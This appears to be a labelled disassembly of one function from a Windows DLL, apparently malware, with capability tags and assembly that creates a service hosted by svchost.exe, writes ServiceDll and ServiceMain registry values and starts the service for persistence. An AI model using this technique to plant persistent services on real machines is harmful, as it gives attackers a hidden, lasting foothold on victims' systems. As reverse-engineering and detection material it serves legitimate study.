Function at 0x10013770
Capabilities:
Create service
Get common file path
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
sub esp, 0x538
mov eax, dword [0x1003f050]
xor eax, esp
mov dword [esp + 0x534], eax
mov eax, dword [esp + 0x53c]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x550]
push 0x30b
mov esi, edx
lea edx, [esp + 0x23d]
push 0
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], ecx
mov byte [esp + 0x244], 0
call fcn.1001eb30
push 0x104
lea eax, [esp + 0x141]
push 0
push eax
mov byte [esp + 0x148], 0
call fcn.1001eb30
add esp, 0x18
push 0x104
lea ecx, [esp + 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x130]
push edx
lea eax, [esp + 0x23c]
push eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._svchost.exe__k
lea ecx, [esp + 0x23c]
push ecx
call ebp
push esi
lea edx, [esp + 0x23c]
push edx
call ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x24c]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
push edi
push esi
push eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
jne 0x10013881
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.__CreateDllService_FAIL._d__n
call fcn.10005ce0
add esp, 8
jmp 0x100139a0
push 0x103
lea edx, [esp + 0x31]
push 0
push edx
mov byte [esp + 0x38], 0
call fcn.1001eb30
add esp, 0xc
push str.SYSTEMCurrentControlSetServices_
lea eax, [esp + 0x30]
push eax
call ebx
push esi
lea ecx, [esp + 0x30]
push ecx
call ebp
push str.Parameters
lea edx, [esp + 0x30]
push edx
call ebp
mov eax, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call ebp
mov ecx, dword [esp + 0x10]
push eax
push ecx
push 2
push str.ServiceDll
lea edx, [esp + 0x3c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov eax, dword [str.ServiceMain]
mov ecx, dword [0x10037910]
mov edx, dword [0x10037914]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
call ebp
push eax
lea ecx, [esp + 0x24]
push ecx
push 1
push str.ServiceMain
lea edx, [esp + 0x3c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea eax, [esp + 0x30]
push eax
call ebx
push esi
call ebp
push eax
push esi
push 7
push esi
lea ecx, [esp + 0x3c]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push edi
push str.__CreateDllService_SUCCESS._d__n
call fcn.10005ce0
mov esi, dword [esp + 0x24]
add esp, 8
push esi
call ebp
inc eax
push eax
call fcn.1001d454
add esp, 4
push esi
push eax
mov dword [esp + 0x1c], eax
call ebx
lea edx, [esp + 0x14]
push edx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov eax, dword [esp + 0x14]
push eax
call fcn.1001c891
add esp, 4
cmp dword [esp + 0x554], 0
je 0x100139a0
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
mov ecx, dword [esp + 0x18]
push ecx
call esi
mov ecx, dword [esp + 0x544]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001c89c
add esp, 0x538
ret